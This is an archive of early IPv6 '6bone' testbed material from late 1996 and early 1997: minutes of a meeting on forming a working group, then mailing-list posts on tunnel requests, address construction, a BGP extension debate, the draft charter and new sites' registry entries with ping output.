--------------------------------------------------------------------
Agenda
--------------------------------------------------------------------

1. Introduction and Agenda Bashing / Bob Fink (5 mins)
2. Formation of a 6bone WG - do we? / Bob Fink (10 mins)
3. If so, what might we set as an initial WG goal? / Bob Fink (5 mins)
4. Topology  / Alain Durand (30 mins)
5. Addressing / (30 mins)
6. Routing / Pedro Roque (15 mins)
7. RIPE Registry cleanup & changes / David Kessens (15 mins)
8. Maps / Bob Fink (5 mins)

--------------------------------------------------------------------
1. Introduction and Agenda Bashing / Bob Fink
--------------------------------------------------------------------

Bob Fink convened the meeting, and reviewed the agenda and its order,
asking for changes.  Rough time estimates were allocated for each item to
keep the meeting on track.  The agenda was acceptable to the group and the
meeting continued.

Fink noted that there was a 6bone web page at:

	http://www-6bone.lbl.gov/6bone/

and a mail list that one can subscribe to:

	majordomo@isi.edu

	subscribe 6bone

--------------------------------------------------------------------
2. Formation of a 6bone WG - do we? / Bob Fink
--------------------------------------------------------------------

Bob Fink presented his view of the pros and cons of forming a working group.

Advantages:

  - getting a meeting place at IETF meetings

  - formalization of process of feedback to other IETF ipv6 efforts

Disadvantage:

  - need a goal and some work products

  - need to incur administrative overhead

Fink contended that we've already succumbed to the admin. overhead and have
most processes in place because of the existing 6bone testbed effort, and
that 6bone participants are already producing useful products.  Thus we
(the 6bone participants) may just need to document some of them.  Thus Bob
concluded that it was worth forming a working group.

Fink also presented a possible draft charter:

The 6bone Working Group is a forum for information concerning the
deployment, engineering, and operation of ipv6 protocols and procedures in
the global Internet. This activity will include, but not be limited to:

  - Deployment of ipv6 transport and routing in the global Internet via a
    "6bone" testbed to assist in the following.

  - Creation of "practice and experience" informational RFC documents that
    capture the experiences of those who have deployed, and are deploying,
    various ipv6 technologies.

  - Feedback to various IETF ipv6-related activities, based on testbed
    experience, where appropriate.

  - Development of mechanisms and procedures to aid in the transition to native
    ipv6, where appropriate.

  - Development of mechanisms and procedures for sharing operational
information
    to aid in operation of global ipv6 routing.

Fink noted that the 6bone, though originally formed from the model of the
mbone, was not like the current Mboned WG effort as the early 6bone is not
a real start at deployment, rather a testbed for developers and users to
try out implemenations and operational experiences to feed back into IPng
IETF efforts and also provide advocacy for IPv6 deployment.

There was broad consensus that Fink should proceed with forming a working
group.  There were also comments that supported Bob Fink acting as the
chair, which he agreed to do at least initially for the formation effort.

--------------------------------------------------------------------
3. If so, what might we set as an initial WG goal? / Bob Fink
--------------------------------------------------------------------

Bob Fink then presented several possible work products of a working group
that were basicallyt generating a series of informational RFCs:

  - documentation of the RIPE registry

  - documentation of 6bone testbed participation procedures

  - documentation of relevant experiences with the testbed

It was noted that currently the 6bone effort would be under the Operations
area (Bradner/O'Dell are directors).  Bob Fink agreed to proceed with
filing the necessary charter and plan with the area directors as well as
generating a discussion of the charter on the mailer.

--------------------------------------------------------------------
4. Topology / Alain Durand
--------------------------------------------------------------------

Alain Durain proposed converting the 6bone testbed topology to a three
level system of core backbone routers, second tier transit routers and leaf
routers (for node sites not doing transit).  He proposed this to better
structure the 6bone for effective routing and to simplify its topology.
Tunnels could then be built for either production or experimental uses.

Durand noted his main point is that tunnels are per nature layer 2 items,
and that if one wants the 6-bone to grow, it needs to do some kind of
routing.  From hiss experience, it's not such an easy task and probably not
all nodes are willing to do it completely. Thus the reason for his proposed
reorganized routing/topology into a three level system.

It was agreed to continue this discussion on the mailer.

--------------------------------------------------------------------
6. Routing / Pedro Roque
--------------------------------------------------------------------

Pedro Roque led off a discussion of routing in the 6bone with his concern
that RIPng was slow to converge and caused him much trouble on the less
reliable trans-Atlantic links.

Others expressed their opinion that RIPng was able to converge and work in
the 6bone.  It was clear that there was a need for lively debate on the
relative merits of routing approaches for the 6bone.

The chair suggested that it was best to pursue this on the mailer.

--------------------------------------------------------------------
5. Addressing
--------------------------------------------------------------------

Alain Durand presented his request for a change in the prefix notation for
IPv6 addressing (draft-durand-ipv6prefix-00.txt).  It was agreed that this
was an oversight in RFC 1844 specifying address notation, and that this
topic should be brought up at the IPng meetings this IETF week (it was and
there was agreement there to incorporate Alain's suggested prefix format).

Durand noted that this is not a "change" per se, just something that is not
standardized yet.

Someone pointed out that this notation could conflict with another notation
that was used by the RPS group. Durand checked this with them later after the
meeting, and thinks that in fact there is no problem at all.

Pedro Roque presented his suggested address allocation policy for use in
the 6bone.  This was an elaboration of RFC 1897 that basically suggests
that for leaf nodes (in the 6bone) that the prefix should be constructed
using the first 32 bits of the prefix used by the transit site they are
connected to.

Some thought this was a reasonable idea.  Geert Jan de Groot said that this
was maybe not necessary because a dynamic routing algorithm would solve
most problems.

The discussion went back to RIPng, with some saying that RIPng is maybe not
enough, and that what is needed are better protocols like BGP or IDRP.

The question was raised about sites connecting to "big" nodes, and which
prefix they should use. The answer was both, as it's a case of multihoming.

Matt Crawford proposed using the 6bone testbed to experiment with Mike
O'Dell's 8+8 addressing proposal.  He identified various issues relating to
this effort:

  - Host issues - modified pseudo header checksum for 8+8 addresses

  - Router isssues - insertion of RG

  - DNS issues
    - DNS lookup in 2 different parts AA & RG
    - Discover bootstrap troubles

  - Security issue - should we mandate IPsec?

It was noted that IPsec is not currently in the tested.

Jim Bound noted that a new draft was needed to explain what the differences
are with the present addressing implementation.  Jim also noted that he was
interested in attempting an implementation of 8+8 that co-existed with the
existing addressing as he believes that can be done.

Bob Hinden expressed his concern that until the IPng working group decided
if 8+8 was possible that it was premature for the 6bone efforts to deal
with it.  The chair agreed with this concern but also noted that the 6bone
effort might assist the IPng 8+8 design effor in giving feedback as it
moved along.

It was agreed to continue discussion of possible 6bone 8+8 efforts on the
mailer.

--------------------------------------------------------------------
7. RIPE Registry cleanup & changes / David Kessens
--------------------------------------------------------------------

David Kessens presented the RPSL work in relation to a modified format for
the RIPE-NCC 6bone routing registry. He contended that a well defined (and
new) syntax was necessary before cleaning up the current RIPE-NCC 6bone
registry.

There were some comments on various fields.  It was noted that an IPv6 end
point address should be added.

It was agreed to continue the discussion on RIPE-NCC 6bone registry
restructuring on the mailer.

David's presentation is available at:

	http://www-6bone.lbl.gov/6bone/ripev6object-kessens.ps


--------------------------------------------------------------------
8. Maps / Bob Fink
--------------------------------------------------------------------

Bob Fink noted that he was at the useful limits of the current 6bone
diagram, but that he intended to experiment with other forms of drawing it
as the topology discussions and restructuring proceeded.

The preferred solution would be to have the maps drawn automatically from
registry data.  Until such mechanisms are in use for the 6bone, Fink noted
that he was willing to try to keep a 6bone map up to date manually.

--------------------------------------------------------------------
--------------------------------------------------------------------
- end



From majordom@ISI.EDU  Tue Jan  7 00:02:48 1997
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Date: Mon, 6 Jan 1997 22:02:48 +0200
Message-Id: <199701062002.WAA07700@a2.aster.spct.net>
From: Plamen Nikolaev <pan@aster.spct.net>
To: 6bone@isi.edu
Subject: tunnel request 
Reply-To: pan@aster.spct.net
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Hi folks,

I am the admin of a small ISP in Sofia, Bulgaria and would like to get
familiar with IPv6.  Could someone please offer a tunnel?

I intend to use one host currenlty (linux 2.1.18+, IP: 207.86.226.33)
Our provider is Digex:

[root@a2 /root]# traceroute rs.internic.net
traceroute to rs.internic.net (198.41.0.5), 30 hops max, 40 byte packets
 1  router (207.86.226.1)  222.988 ms  206.035 ms  209.178 ms
 2  206.181.51.73 (206.181.51.73)  1087.04 ms  865.937 ms  2339.02 ms
 3  dca1-core2-f0-0.atlas.digex.net (206.205.242.10)  1135.43 ms  1145 ms  888.814 ms
 4  iad1-core1-h1-0.atlas.digex.net (165.117.50.89)  765.144 ms  785.801 ms *
 5  maeeast-1.bbnplanet.net (192.41.177.1)  806.948 ms  874.9 ms *
 6  collegepk-br2.bbnplanet.net (4.0.1.17)  1016.47 ms  1046.06 ms *
 7  * collegepk-cr3.bbnplanet.net (128.167.252.1)  1111.44 ms  925.304 ms
 8  netsol.bbnplanet.net (192.221.77.130)  1115.99 ms  1295.38 ms  888.868 ms
 9  * rs0.internic.net (198.41.0.5)  799.857 ms  784.699 ms

I've tried to come up with na IPv6 address:
5f00:f400:cf56:e200:21:40:3324:eb6c
using one of Digex ASNs (2548). Not sure whether this is correct
though.

Thanks in advance,

Plamen Nikolaev <pan@aster.spct.net>

From majordom@ISI.EDU  Mon Jan  6 10:15:14 1997
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Date: Mon, 6 Jan 1997 16:15:14 -0600 (CST)
From: Jeff Barrow <jeffb@hsnp.com>
To: Plamen Nikolaev <pan@aster.spct.net>
Cc: 6bone@ISI.EDU
Subject: Re: tunnel request 
In-Reply-To: <199701062002.WAA07700@a2.aster.spct.net>
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>  5  maeeast-1.bbnplanet.net (192.41.177.1)  806.948 ms  874.9 ms *
>  6  collegepk-br2.bbnplanet.net (4.0.1.17)  1016.47 ms  1046.06 ms *
>  7  * collegepk-cr3.bbnplanet.net (128.167.252.1)  1111.44 ms  925.304 ms
>  8  netsol.bbnplanet.net (192.221.77.130)  1115.99 ms  1295.38 ms  888.868 ms
>  9  * rs0.internic.net (198.41.0.5)  799.857 ms  784.699 ms

Looks like you need to find someone near bbnplanet.net for a route.

> 
> I've tried to come up with na IPv6 address:
> 5f00:f400:cf56:e200:21:40:3324:eb6c
> using one of Digex ASNs (2548). Not sure whether this is correct
> though.

This reminds me... there's still a bug in that web page for creating the
IPv6 address... if the ASN is >255 then the upper 8 bits are lost.
The IPv6 address in this case should be 5f09:f400:cf56:e200::
(actually, it'd help a LOT if in the web page script, it did the ASN
lookup itself... some people still don't know how to look it up.)

Jeff Barrow, Internet Connections, Inc. (NETC-DOM)



From majordom@ISI.EDU  Mon Jan  6 09:11:24 1997
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From: ben <ben@ibs-us.net>
To: Jeff Barrow <jeffb@hsnp.com>
Cc: Plamen Nikolaev <pan@aster.spct.net>, 6bone@ISI.EDU
Subject: Re: tunnel request 
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> This reminds me... there's still a bug in that web page for creating the
> IPv6 address... if the ASN is >255 then the upper 8 bits are lost.
> The IPv6 address in this case should be 5f09:f400:cf56:e200::
> (actually, it'd help a LOT if in the web page script, it did the ASN
> lookup itself... some people still don't know how to look it up.)
   This should be fixed now... sorry for the inconvenience.  And thanks 
to those who identified the problem.

   This next question came up once or twice before, but I don't know that
it was answered clearly enough for me to understand...  What is the 'ASN'
field?  Is it my ASN, my IPv4 provider's ASN, my IPv6 provider's ASN, etc...
If I could figure that out then I could probably figure out something to
do auto-ASN lookups.  Until then, just hit "ASN list" at the bottom of the
form.  Oh, and it's tablized now;  http://www.ibs-us.net/ipv6

Sideways to the Sun,  www.ibs-us.net/~ben 45.5183754N/-122.6750031W
--Ben Kirkpatrick IBS 503.227.7010 fax 503.227.5778 page 503.229.3199


From majordom@ISI.EDU  Mon Jan  6 11:28:05 1997
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Date: Mon, 06 Jan 1997 22:26:08 -0500
To: Dave Katz <dkatz@cisco.com>, jstewart@metro.isi.edu
From: Dimitry Haskin <dhaskin@baynetworks.com>
Subject: Re: a different proposal for ipv6 in bgp
Cc: 6bone@isi.edu, bgp@ans.net, jstewart@isi.edu, ipng@sunroof.eng.sun.como
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At 04:53 PM 1/6/97 -0800, Dave Katz wrote:
>It remains unclear to me why it is desirable to couple multiprotocol
>support and the AS number space increase.  The two functions are
>completely orthogonal and as far as I can tell there is no benefit for
>*mandating* that the two changes be made at the same time.
>
>Clearly the multiprotocol stuff could be deployed and become useful
>more quickly than the AS number extension, due to the fact that it
>can be done in a backward compatible, pairwise fashion.
>
I don't believe that this assessment is accurate.  The BGP5 proposal
is as backward compatible (if not more) with BGP4 as the proposed multiprotocol 
extension to BGP4.  I.e., v4 routing information exchanged between BGP5
peers can be fully re-advertised via BGP4 and vise versa.  As you might notice
we even didn't require to immediately extend AS number space for v4
to keep the v4 related changes to a bare minimum.  To support v6, bgp data
structures need to change any way and v6 has no backward compatibility
issue at this point. Thus it only makes sense to get a larger AS space for
v6 now
to avoid another transition later.

>The deployment considerations for multiprotocol support are far less
>onerous than the AS number stuff.
>
Care elaborate (in light of the BGP5 proposal)? 
 
>Operators who are concerned about deploying new software twice could
>always wait until BGP5 deployment and turn on both features at the
>same time.  However, I think that the deployment timing for each
>feature is difficult to predict in advance (will IPv6 take off?  Are
>we really under pressure for AS numbers?) so keeping them decoupled
>keeps things more flexible.
>
>So, what is it that makes it preferable to entwine the changes?
>
Once again, the way the BGP5 proposal written I don't believe this larger AS
space for v6 introduces more implementation and/or deployment burdens than
yours multiprotocol
stuff does...  unless I miss some vital points. My point is that there is no
additional penalty for the introducing a larger AS number space for v6 now
and,  to boot,  BGP5
provides an optional mechanism to gradually introduce a larger AS number
space for v4
too.  So why not?

>--Dave

Dimitry
>
>   X-Phone: +1 703 812 3704
>   Date: Mon, 30 Dec 1996 14:05:41 EST
>   From: "John W. Stewart III" <jstewart@metro.isi.edu>
>   Sender: owner-idr@merit.edu
>   Precedence: bulk
>
>
>   attached below is a proposal for a multi-protocol (including
>   ipv6) bgp
>
>   while there are a number of differences between this one and
>   the bates/chandra/katz/rekhter one, one of the main motivating
>   factors for this one is to support longer-than-two-byte ASs.
>   it is our view that making bgp multi-protocol significantly
>   extends its life.  so, although in a narrow sense the length
>   of the AS is orthogonal to being multi-protocol, the logistics
>   of transitions and the need to adequeately engineer the
>   protocol up-front, to us, suggests the need for longer-than-
>   two-byte ASs
>
>   /jws
>
>


From majordom@ISI.EDU  Tue Jan  7 12:23:32 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970107112332.ZM484@rama.imag.fr>
Date: Tue, 7 Jan 1997 11:23:32 +0100
In-Reply-To: ben <ben@ibs-us.net>
        "Re: tunnel request" (Jan  6,  5:11pm)
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On Jan 6,  5:11pm, ben wrote:
> Subject: Re: tunnel request

>    This next question came up once or twice before, but I don't know that
> it was answered clearly enough for me to understand...  What is the 'ASN'
> field?  Is it my ASN, my IPv4 provider's ASN, my IPv6 provider's ASN, etc...

This is something we discussed in San Jose meeting.
RFC1897 says:
       This is the current autonomous system number assigned to the
       provider providing internet service to the an IPv6 testers
       organization.


It is currently undestood as your IPv4 provider AS, but we'd like to change
that
to allow you to use your IPv6 provider AS number (i.e. your 6bone contact)
if you like to. This might be very usefull if/when we'll try to reshape
the 6-bone.

	- Alain.

From majordom@ISI.EDU  Tue Jan  7 12:49:01 1997
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References: ben <ben@ibs-us.net>        "Re: tunnel request" (Jan  6, 
 5:11pm) <Pine.BSF.3.91.970106170546.5177C-100000@somber.ibs-us.net>
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Date: Tue, 7 Jan 1997 17:49:01 -0500
To: "Alain Durand" <Alain.Durand@imag.fr>
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: Re: tunnel request
Cc: ben <ben@ibs-us.net>, Jeff Barrow <jeffb@hsnp.com>,
        Plamen Nikolaev <pan@aster.spct.net>, 6bone@ISI.EDU
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At 5:23 AM -0500 1/7/97, Alain Durand wrote:
>This is something we discussed in San Jose meeting.
>RFC1897 says:
>       This is the current autonomous system number assigned to the
>       provider providing internet service to the an IPv6 testers
>       organization.
>
>
>It is currently undestood as your IPv4 provider AS, but we'd like to change
>that
>to allow you to use your IPv6 provider AS number (i.e. your 6bone contact)
>if you like to. This might be very usefull if/when we'll try to reshape
>the 6-bone.
>
>	- Alain.

If reshaping the 6bone is emminent, to be more in line with the
provider-based addressing hierarchy of IPv6, then it would seem that it's
best to recommend that new connections use the AS numbers of their 6bone
providers.  As the 6bone grows, propagation of IPv4-based provider numbers
now will mean more renumbering in the future - but, renumbering's not
supposed to be a big deal under IPv6.  :)


Jimmy



From majordom@ISI.EDU  Tue Jan  7 07:29:52 1997
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Date: Tue, 7 Jan 1997 15:29:52 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: tshirt info
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Sorry to bother everyone about this, but I've been sent so much email
asking about it I figured it best to send this to the whole list.

My secretary is only getting to the Tshirt mailing this week as our Lab was
closed for over two weeks over the holidays.  Sorry for this delay.

Don't feel obliged to send any checks until you receive your Tshirts, then
send a US $ check made out to "Robert Fink", and mail it to:

Robert Fink
3085 Buena Vista Way
Berkeley CA  94708
USA


And of course the amount was $10 US per Tshirt regardless of size, mailing
included.


Thanks,

Bob



From majordom@ISI.EDU  Tue Jan  7 10:45:07 1997
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 3:29pm) <v03007804aef88b8521a5@[128.3.9.22]>
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Date: Tue, 7 Jan 1997 18:45:07 -0800
To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: tshirt info
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At 3:47 PM -0800 1/7/97, Andrew J. Hoag wrote:
...
>Bob -- there was talk about doing a second order... Is this still an option?
>I'm just looking for one more XXL ...

Patience :-)   Soon!!


>I sent this just to you, but feel free to reply to the whole list. ;-)


Bob



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Date: Wed, 8 Jan 1997 12:27:05 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199701081727.MAA05844@pobox.engeast.BayNetworks.COM>
To: tbates@cisco.com
Subject: Re: a different proposal for ipv6 in bgp
Cc: dkatz@cisco.com, jstewart@metro.isi.edu, 6bone@isi.edu, bgp@ans.net,
        jstewart@isi.edu, ipng@sunroof.eng.sun.com
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Tony,

> 
>  Dimitry Haskin <dhaskin@baynetworks.com> writes:
>   * At 04:53 PM 1/6/97 -0800, Dave Katz wrote:
>   * >It remains unclear to me why it is desirable to couple multiprotocol
>   * >support and the AS number space increase.  The two functions are
>   * >completely orthogonal and as far as I can tell there is no benefit for
>   * >*mandating* that the two changes be made at the same time.
>   * >
>   * >Clearly the multiprotocol stuff could be deployed and become useful
>   * >more quickly than the AS number extension, due to the fact that it
>   * >can be done in a backward compatible, pairwise fashion.
>   * >
>   * I don't believe that this assessment is accurate.  The BGP5 proposal
>   * is as backward compatible (if not more) with BGP4 as the proposed multiprot
>   * ocol 
>   * extension to BGP4.  I.e., v4 routing information exchanged between BGP5
>   * peers can be fully re-advertised via BGP4 and vise versa.  As you might not
>   * ice
>   * we even didn't require to immediately extend AS number space for v4
>   * to keep the v4 related changes to a bare minimum.  To support v6, bgp data
>   * structures need to change any way and v6 has no backward compatibility
>   * issue at this point. Thus it only makes sense to get a larger AS space for
>   * v6 now
>   * to avoid another transition later.
>   * 
> 
> Let's perhaps look at this a little differently. Since widespread
> deployment of BGP4 and the hassle of transition from BGP3 (for those
> of us who went through this, it was certainly not something to do more
> than say a couple of times in your lifetime and in that case we were
> driven by an immediate need) we have actually been able to add several
> new attributes (communities, reflection, etc) to keep enhancing
> inter-domain routing capabilities (all in use today) with very little
> pain.

We definitely not proposing a transition of the grand-scale of moving
from the classfull to classless routing paradigm.  I can assure you that
what we're proposing is of a much smaller scale, practically no scale at all.
And our intention was to make it even more extensible than BGP4.

>The reason we've been able to do this is becuase we essentially
> haven't messed with the underpinnings of the protocol itself.

Neither did we.

> The operational factors in doing this are much greater than perhaps many
> folks realize (ISPs tell me different if you think I'm
> overstating). In your proposal, before I can get benefit of the pain I
> need to move I have the entrie Internet moved over to BGP5.

This is definitely an overstatement.

> I understand I can use it for multiprotocol on a pairwise basis
> providing I dont touch the AS space but this doesn't seem like too
> much of a win when I can add attributes to the exisiting BGP4 protocol
> and start using BGP for multi-protocol interdomain support in an
> understood and well-practiced operational way.

This is a win because we don't have to drag 2-byte ASN into IPv6.
There is enough discomfort with the 2-byte ASN to make me belive that
dragging 2-byte ASN into v6 as a bad idea. And the most important it
is _not_ necessary.  Is it v6 that all this multiprotocol support
is really about?

And, if you want, you can use the option of gradually extending ASN for
v4 too.  For some, probably long,  period simple mapping of zero-extended
4-byte ASN into 2-byte ASN used by BGP4 will ensure backward compatibility
with BGP4.

> 
>   * >The deployment considerations for multiprotocol support are far less
>   * >onerous than the AS number stuff.
>   * >
>   * Care elaborate (in light of the BGP5 proposal)? 
>   *  
> See above.

See above.

> 
> If you buy into my ease of deployment point above [and of course you
> might not] let's look at where we are in terms of AS space as this is
> other factor driving the current discussuion.  Since I've started the
> CIDR report I produce I've also been tracking the activity of ASes in the
> global routing system as seen in BGP by a well connected router. The
> interesting trend you see is the growth of ASes in the global routing
> system is essentially linear. Whilst my data source is quite small (see
> http://www.remplyees.org/~tbates/cidr.as.plot.html) this seems to be
> growing at an average rate of 3 ASes per day. The linear growth if
> further backed in "An analysis of Internet Inter-Domain Topology and
> Route Stability" by Ramesh Govindan and Anoop Reddy from USC/ISI.
> 
> If we use this growth rate and look at a couple of scenarios:
> 
> Best Case 
> ---------
> Assuming we have 65000 (not including Private ASes) ASes and
> accounting for the 1937 ASes already in the system (this also assumes
> we could re-use ones pre-allocated and not currently being used which
> is probably over optimistic) we have 63063 ASes to play with resulting
> in :
> 
>         63063/3 = 21021 Days
>         21021/365 = 57 Years before we run out.
> 
> Worst Case
> ----------
> 
> If we assume 15535 ASes will in fact be wasted (private space,
> early/bad allocations before RFC1930, some ISPs getting as AS 
> for the wrong reason) we still end up with.
> 
>         (50000-1937)/3/365 = 43.8 years
> 
> Now you could argue that this doesn't take into account the increasing
> trend towards mutlihoming (not currently shown in the AS growth either
> but anyway ;-)). However, there are a number of things to help with
> this approach. 
> 
> 1. Improving use of private AS space. ISP router should be able to
>    override customer's AS with a preconfigured number. ISP router
>    shouldn't propagate a route to a customer router if the route includes
>    AS of the customer (this AS is preconfigured on the ISP router).
> 
> 2. Use RIPv2 (instead of BGP) - doesn't require AS number at all.
> 
> 3. Use single globally unique AS number (draft-stewart-bgp-without-as-00.txt)
>

None of that will be necessary for v6 if we use a larger ASN space there.
 
> So with this in mind do we really want to tackle the AS number issue
> right now at the risk of the operational impact ?

You still didn't convince me that there is a significant operational impact
with the BGP5 proposal.  If you afraid to extend ASN for v4, we don't force
you to do so. But we want a larger ASN space for v6.  Would you agree that
there is a zero operational impact for v6 at this point? If it not for v6 we,
most probable, would be looking in extending BGP-4, don't we?


> If the answer is yes
> (which I must abmit seems hard to see from my viewpoint) then we
> better make sure we look at all aspects before spinning the protocol
> again wouldn't you agree ?
>
Sure.
> 		--Tony
Dimitry

From majordom@ISI.EDU  Thu Jan  9 17:02:30 1997
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199701091702.RAA05086@jpd.ch.man.ac.uk>
Subject: Sun IPv6
To: 6bone@isi.edu
Date: Thu, 9 Jan 1997 17:02:30 +0000 (GMT)
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Hi

Sorry for mailing this here, but I was wondering if there was anyone using
the Sun Solaris implementation of IPv6 for the Sparc who could help me - I
am getting some rather bizare & invariably fatal boot errors (the IP
module dies the moment it's loaded and takes the rest of the system with
it). I'm wondering if there's something staggeringly obvious I'm overlooking.

Jonathan


From majordom@ISI.EDU  Tue Jan 14 01:02:27 1997
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Date: Tue, 14 Jan 1997 09:02:27 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: last chance at the 6bone WG charter, goals and milestones
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6bone Folk:

I will need to submit the 6bone charter, goals and milestones to the area
director(s) real soon now.  I have not had a single comment from the mailer
on the tentative one I submitted on 17 December.

So...I would like to give you one more chance to modify it before I submit
it.  I have included my own rework of the goals and milestones I sent last
month, mostly to clean it up for consistency in dates and work flow.

I really need to know this isn't just my own pipe dream!  Silence doesn't
do it.

Comments to the mailer please (unless you are beating me up that is :-)


Thanks,

Bob

=====================
Goals and Milestones:

Jan 97 / Establish and submit initial charter, goals, and first year Goals
and Milestones (this list).

Jan-Mar 97 / Discussion on topology, addressing and routing for a new 6bone
infrastructure better suited to IPv6 testbed goals.

Jan-Mar 97 / Discussion on the future of the RIPE-NCC 6bone routing
registry and how it relates to the RPSL work.

Jan-Dec 97 / Continuing interaction with, and feedback to, the IPng working
groups at the IETF based on 6bone experience.

Mar-Apr 97 / Begin work on an Internet-Draft outlining requirements for the
new 6bone infrastructure.

Apr 97 / Begin to restructure the 6bone testbed based on discussions.

Jan-Feb 97 / Interact with RPS WG on extensions for "Representing Tunnels
in RPSL" based on David Meyer's Internet-Draft.

Apr 97 / Decide what direction to take with the RIPE-NCC 6bone routing
registry.

Aug 97 / Finish work on Internet-Draft outlining requirements for the new
6bone infrastructure.

Sep 97 / Interact with MBONED on their work for co-existence strategies for
IPv4 multicast and IPv6 multicast. (This based on the MBONED milestones.)

Dec 97 / Begin work on a document describing operational practices and
experiences for the 6bone.

==========================================================================
Draft 6bone Charter as presented at the BOF

The 6bone Working Group is a forum for information concerning the
deployment, engineering, and operation of ipv6 protocols and procedures
in the global Internet. This activity will include, but not be limited to:

- Deployment of ipv6 transport and routing in the global Internet via a
"6bone" testbed to assist in the following.

- Creation of "practice and experience" informational RFC documents that
capture the experiences of those who have deployed, and are deploying,
various ipv6 technologies.

- Feedback to various IETF ipv6-related activities, based on testbed
experience, where appropriate.

- Development of mechanisms and procedures to aid in the transition to
native ipv6, where appropriate.

- Development of mechanisms and procedures for sharing operational
information to aid in operation of global ipv6 routing.

- end



From majordom@ISI.EDU  Tue Jan 14 20:52:44 1997
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Date: Tue, 14 Jan 1997 19:52:44 +0100 (MET)
From: Alain Durand <Alain.Durand@imag.fr>
Message-Id: <199701141852.TAA11722@rama.imag.fr>
To: RLFink@lbl.gov
Subject: Re:  last chance at the 6bone WG charter, goals and milestones
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I'm OK with our goals. Just one question: do the milestones have to be so
precisely timed? Shouldn't we focus on having some results for each IETF meeting?


	- Alain.

From majordom@ISI.EDU  Tue Jan 14 02:54:19 1997
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To: Alain Durand <Alain.Durand@imag.fr>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re:  last chance at the 6bone WG charter, goals and milestones
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At 10:52 AM -0800 1/14/97, Alain Durand wrote:
>I'm OK with our goals. Just one question: do the milestones have to be so
>precisely timed? Shouldn't we focus on having some results for each IETF
>meeting?

Yes, I agree with you.  We need to arrange to have useful things to focus
on at the IETF.

That's why I set the range of dates the way I did.  However, any
suggestions to make it better are appreciated.


Thanks,

Bob



From majordom@ISI.EDU  Tue Jan 14 07:57:51 1997
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: last chance at the 6bone WG charter, goals and milestones
In-Reply-To: "14 Jan 1997 09:02:27 PST." <"v03007805af015d94d515"@[128.3.9.22]>
To: Bob Fink LBNL <RLFink@lbl.gov>
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X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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Looks fine, Bob.
				Matt

From majordom@ISI.EDU  Wed Jan 15 10:12:00 1997
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Date: Wed, 15 Jan 1997 09:12:00 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: New tunnel from CSELT
To: "'6bone@isi.edu'" <6bone@isi.edu>
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Hi,

there is one new tunnel between CSELT and SICS.

            CSELT <-----> SICS

I have updated CSELT RIPE database entry:

site:           CSELT (Centro Studi E Laboratori Telecomunicazioni)
location:       Torino, ITALY
loc-string:     45 03 52.2n 07 39 43.2e 250m
prefix:         5f16:4d00::/32
ping:           5f16:4d00:a3a2:1100:11:800:2071:d812
tunnel:         163.162.17.77 129.88.26.1    G6 
tunnel:         163.162.17.77 193.10.66.50   SICS
tunnel:         163.162.17.77 130.192.26.254 POLITO
tunnel:         163.162.252.4 131.175.5.37   CEFRIEL
contact:        Ivano Guardini <ivano.guardini@cselt.stet.it>
status:         operational since December 4, 1996
remark:         Sun SPARC STATION 20, IPv6 for Solaris 2.5 
changed:        ivano.guardini@cselt.stet.it 19970114
source:         RIPE

Here is ping from CSELT to SICS:

root@carmen_atm:/usr/ipv6/sbin#>./ping -s sics-v6 100 8
PING sics-v6: 100 data bytes
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=0. time=231
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=1. time=251
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=2. time=259
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=3. time=168
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=4. time=204
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=5. time=307
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=6. time=176
ms
148 bytes from 5f0b:1700:c10a:4200:0:800:978:196d: icmp_seq=7. time=279
ms

----sics-v6 PING Statistics----
8 packets transmitted, 8 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 168/234/307

     Bye

             Ivano

---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
---------------------------------------------------


From majordom@ISI.EDU  Wed Jan 15 11:14:53 1997
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From: Bertrand Buclin <Bertrand.Buclin@att.ch>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: New site joining: AT&T Labs Europe
Date: Wed, 15 Jan 1997 10:14:53 +0100
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Hi,

AT&T Labs Europe is now connected to 6-bone. We've set up our tunnel to =
Digital in Sophia-Antipolis (thanks Bob). We still have some routing =
issues due to incompatibilities between the tunnel software at the =
tunnel ends. This should get solved in a couple of weeks from now, when =
we'll use a Digital RouteAbout to connect, instead of the Sun IPv6 =
stack.

I can't give yet a ping result because of the above routing issues (we =
have only erratic connectivity...).

Cheers, Bertrand

site:     	AT&T Labs Europe
location: 	AT&T Labs Europe, Geneva, Switzerland
loc-string: 46 13 30n 6 6 0e 365m
prefix:   	5F15:F700::/32
ping:     	5f15:f700:c2f2:4400:100:800:2076:5215 server-2.labs.att.ch
tunnel:   	194.242.68.68 193.56.15.54  DIGITAL-ETC
contact:  	bertrand.buclin@att.ch=20
contact:	BB13-RIPE
status:   	operational since 23-Dec-1996
remark:   	Sun Solaris IPv6 V5
changed: bertrand.buclin@att.ch 961223
source:   	RIPE

